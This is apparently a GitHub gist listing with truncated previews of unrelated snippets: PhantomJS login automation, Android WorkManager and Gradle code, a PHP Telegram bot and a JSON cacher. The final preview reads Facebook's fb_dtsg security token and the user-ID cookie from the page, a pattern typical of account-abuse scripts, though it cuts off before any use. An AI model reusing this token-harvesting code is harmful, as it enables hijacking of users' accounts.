This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var page = new WebPage(); | |
//spoof it as opera mini, to get the mobile page working properly | |
page.settings.userAgent = "Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10"; | |
function doLogin(){ | |
page.evaluate(function(){ | |
var frm = document.getElementById("login_form"); | |
frm.elements["email"].value = "--enter-your-email--"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package xyz.ariefbayu.android.workmanagertutorial.worker; | |
import android.content.Context; | |
import android.util.Log; | |
import androidx.annotation.NonNull; | |
import androidx.work.ExistingWorkPolicy; | |
import androidx.work.OneTimeWorkRequest; | |
import androidx.work.PeriodicWorkRequest; | |
import androidx.work.WorkManager; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
implementation "androidx.work:work-runtime:2.2.0" | |
implementation "com.squareup.okhttp3:okhttp:4.2.2" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OneTimeWorkRequest refreshWork = new OneTimeWorkRequest.Builder(ProcessingWorker.class).build(); | |
WorkManager.getInstance(getApplicationContext()).enqueueUniqueWork(PUSH_LOCATION_WORK_TAG, ExistingWorkPolicy.KEEP, refreshWork); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OneTimeWorkRequest refreshWork = new OneTimeWorkRequest.Builder(ProcessingWorker.class).build(); | |
WorkManager.getInstance(getApplicationContext()).enqueueUniqueWork(PUSH_LOCATION_WORK_TAG, ExistingWorkPolicy.KEEP, refreshWork); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$loader = require __DIR__.'/vendor/autoload.php'; | |
use Longman\TelegramBot\Request; | |
$API_KEY = '--botfather-api-keu--'; | |
$BOT_NAME = '--bofather-bot-name--'; | |
$telegram = new Longman\TelegramBot\Telegram($API_KEY, $BOT_NAME); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(project.hasProperty("serverbuild.properties") | |
&& new File(project.property("serverbuild.properties")).exists()) { | |
Properties props = new Properties() | |
props.load(new FileInputStream(file(project.property("serverbuild.properties")))) | |
android { | |
signingConfigs { | |
release { | |
storeFile file(props['keystore']) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class JsonLoadAndCacher { | |
public $url; | |
public $hash; | |
//set cache directory here | |
private $fileLocation = 'd:/temp/'; | |
public function LoadJson($url) { | |
$hash = md5($url); | |
//set your cached offline file as variable for ease of use |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
buildscript { | |
repositories { | |
maven { url 'https://maven.fabric.io/public' } | |
} | |
dependencies { | |
classpath 'io.fabric.tools:gradle:1.+' | |
} | |
} | |
apply plugin: 'com.android.application' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
function cereziAl(param) { | |
var tparam = param + '='; | |
if (document.cookie.length > 0) { | |
konum = document.cookie.indexOf(tparam); | |
if (konum != -1) { | |
konum += tparam.length; | |
son = document.cookie.indexOf(';', konum); |
NewerOlder